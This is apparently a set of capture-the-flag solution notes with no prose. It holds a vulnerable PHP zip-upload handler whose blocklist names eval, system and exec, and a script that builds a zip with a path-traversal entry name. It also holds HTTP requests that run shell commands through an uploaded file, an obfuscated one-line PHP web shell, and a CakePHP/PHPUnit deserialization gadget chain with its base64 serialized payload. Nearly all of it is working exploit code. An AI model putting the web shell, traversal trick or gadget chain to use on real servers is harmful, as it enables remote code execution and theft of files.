<?php
error_reporting(0);

function get_extension($filename){
    return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
    $filePath = $path . DIRECTORY_SEPARATOR . $filename;
    
    if (is_file($filePath)) {
        $extension = strtolower(get_extension($filename));

        if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
            if (!unlink($filePath)) {
                // echo "Fail to delete file: $filename\n";
                return false;
                }
            else{
                // echo "This file format is not supported:$extension\n";
                return false;
                }
    
        }
        else{
            return true;
            }
}
else{
    // echo "nofile";
    return false;
}
}
function file_rename ($path,$file){
    $randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
                $oldPath = $path . DIRECTORY_SEPARATOR . $file;
                $newPath = $path . DIRECTORY_SEPARATOR . $randomName;

                if (!rename($oldPath, $newPath)) {
                    unlink($path . DIRECTORY_SEPARATOR . $file);
                    // echo "Fail to rename file: $file\n";
                    return false;
                }
                else{
                    return true;
                }
}

function move_file($path,$basePath){
    foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
        $destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
        if (!rename($file, $destination)){
            // echo "Fail to rename file: $file\n";
            return false;
        }
      
    }
    return true;
}


function check_base($fileContent){
    $keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
    $base64_keywords = [];
    foreach ($keywords as $keyword) {
        $base64_keywords[] = base64_encode($keyword);
    }
    foreach ($base64_keywords as $base64_keyword) {
        if (strpos($fileContent, $base64_keyword)!== false) {
            return true;

        }
        else{
           return false;

        }
    }
}

function check_content($zip){
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
            return false; 
        }
            // echo "Checking file: $fileName\n";
            $fileContent = $zip->getFromName($fileName);
            

            if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
                // echo "Don't hack me!\n";    
                return false;
            }
            else {
                continue;
            }
        }
    return true;
}

function unzip($zipname, $basePath) {
    $zip = new ZipArchive;

    if (!file_exists($zipname)) {
        // echo "Zip file does not exist";
        return "zip_not_found";
    }
    if (!$zip->open($zipname)) {
        // echo "Fail to open zip file";
        return "zip_open_failed";
    }
    if (!check_content($zip)) {
        return "malicious_content_detected";
    }
    $randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
    $path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
    if (!mkdir($path, 0777, true)) {
        // echo "Fail to create directory";
        $zip->close();
        return "mkdir_failed";
    }
    if (!$zip->extractTo($path)) {
        // echo "Fail to extract zip file";
        $zip->close();
    }
    for ($i = 0; $i < $zip->numFiles; $i++) {
        $fileInfo = $zip->statIndex($i);
        $fileName = $fileInfo['name'];
        if (!check_extension($fileName, $path)) {
            // echo "Unsupported file extension";
            continue;
        }
        if (!file_rename($path, $fileName)) {
            // echo "File rename failed";
            continue;
        }
    }
    if (!move_file($path, $basePath)) {
        $zip->close();
        // echo "Fail to move file";
        return "move_failed";
    }
    rmdir($path);
    $zip->close();
    return true;
}


$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadedFile = $_FILES['file'];
    $zipname = $uploadedFile['tmp_name'];
    $path = $uploadDir;

    $result = unzip($zipname, $path);
    if ($result === true) {
        header("Location: index.html?status=success");
        exit();
    } else {
        header("Location: index.html?status=$result");
        exit();
    }
} else {
    header("Location: index.html?status=file_error");
    exit();
}

<?php

$zip = new ZipArchive();
$filename = "test_exp.zip";

if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
    exit("cannot open <$filename>\n");
}
$zip->addFile('1.php', "..\./..\./a.jpg");
echo "numfiles: " . $zip->numFiles . "\n";
echo "status:" . $zip->status . "\n";
for ($i = 0; $i < $zip->numFiles; $i++) {
	$fileInfo = $zip->statIndex($i);
	$fileName = $fileInfo['name'];
    echo $fileName;
    if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
            echo "NO";
        }
}
	$zip->close();
?>

GET /upload/suimages/a.jpg?1=cat%20/seef1ag_getfl4g HTTP/1.1
Host: 1.95.157.235:10002
Connection: close

GET /upload/suimages/a.php?1=cat%20/seef1ag_getfl4g HTTP/1.1

<?php echo("fuck");$ch = explode(".","sys.tem");$c = $ch[0].$ch[1];$c($_GET[1]);

if (!$zip->extractTo($path)) {
        // echo "Fail to extract zip file";
        $zip->close();
    }

public function call(string $method, array $args = []): mixed
    {
        $method = strtolower($method);
        if ($this->hasMethod($method) && $this->has($this->_methodMap[$method][0])) {
            [$behavior, $callMethod] = $this->_methodMap[$method];

            return $this->_loaded[$behavior]->{$callMethod}(...$args);
        }

        throw new BadMethodCallException(
            sprintf('Cannot call `%s`, it does not belong to any attached behavior.', $method),
        );
    }

<?php
namespace Cake\Core;
abstract class ObjectRegistry{
    public $_loaded = [];
}

namespace Cake\ORM;
class Table{
    public $_behaviors;
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry{
    protected array $_methodMap = [];
    public function __construct($obj)
    {
        $this->_methodMap = [];
        $this->_loaded = [];
    }
}

<?php
namespace Cake\Core;
abstract class ObjectRegistry{
    public $_loaded = [];
}

namespace Cake\ORM;
class Table{
    public $_behaviors;
    public function __construct($obj)
    {
        $this->_behaviors = $obj;
    }
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry{
   protected array $_methodMap = [];
    public function __construct($obj)
    {
        $this->_methodMap = ["rewind"=>["MockClass", "generate"]];
        $this->_loaded = ["MockClass"=>$obj]; // 控制obj为new MockClass
    }
}

namespace PHPUnit\Framework\MockObject\Generator;
class MockClass{
    private string $classCode;
    private string $mockName;
    public function __construct(string $classCode, string $mockName)
    {
        $this->classCode = $classCode;
        $this->mockName = $mockName;
    }
}

namespace Cake\Http;
class Response{
    private $stream;
    public function __construct($obj){
        $this->stream = $obj;
    }
}

namespace React\Promise\Internal;
class RejectedPromise{
    private $handled = false;
    private $reason;
    public function __construct($obj)
    {
        $this->reason = $obj;
    }
}

$a = new \PHPUnit\Framework\MockObject\Generator\MockClass('system("find . -exec /bin/cat /flag.txt \; -quit");', "xxx");
$b = new \Cake\ORM\BehaviorRegistry($a);
$c = new \Cake\ORM\Table($b);
$d = new \Cake\Http\Response($c);
$e = new \React\Promise\Internal\RejectedPromise($d);
echo base64_encode(serialize($e));

//TzozODoiUmVhY3RcUHJvbWlzZVxJbnRlcm5hbFxSZWplY3RlZFByb21pc2UiOjI6e3M6NDc6IgBSZWFjdFxQcm9taXNlXEludGVybmFsXFJlamVjdGVkUHJvbWlzZQBoYW5kbGVkIjtiOjA7czo0NjoiAFJlYWN0XFByb21pc2VcSW50ZXJuYWxcUmVqZWN0ZWRQcm9taXNlAHJlYXNvbiI7TzoxODoiQ2FrZVxIdHRwXFJlc3BvbnNlIjoxOntzOjI2OiIAQ2FrZVxIdHRwXFJlc3BvbnNlAHN0cmVhbSI7TzoxNDoiQ2FrZVxPUk1cVGFibGUiOjE6e3M6MTA6Il9iZWhhdmlvcnMiO086MjU6IkNha2VcT1JNXEJlaGF2aW9yUmVnaXN0cnkiOjI6e3M6MTM6IgAqAF9tZXRob2RNYXAiO2E6MTp7czo2OiJyZXdpbmQiO2E6Mjp7aTowO3M6OToiTW9ja0NsYXNzIjtpOjE7czo4OiJnZW5lcmF0ZSI7fX1zOjc6Il9sb2FkZWQiO2E6MTp7czo5OiJNb2NrQ2xhc3MiO086NDg6IlBIUFVuaXRcRnJhbWV3b3JrXE1vY2tPYmplY3RcR2VuZXJhdG9yXE1vY2tDbGFzcyI6Mjp7czo1OToiAFBIUFVuaXRcRnJhbWV3b3JrXE1vY2tPYmplY3RcR2VuZXJhdG9yXE1vY2tDbGFzcwBjbGFzc0NvZGUiO3M6NTE6InN5c3RlbSgiZmluZCAuIC1leGVjIC9iaW4vY2F0IC9mbGFnLnR4dCBcOyAtcXVpdCIpOyI7czo1ODoiAFBIUFVuaXRcRnJhbWV3b3JrXE1vY2tPYmplY3RcR2VuZXJhdG9yXE1vY2tDbGFzcwBtb2NrTmFtZSI7czozOiJ4eHgiO319fX19fQ==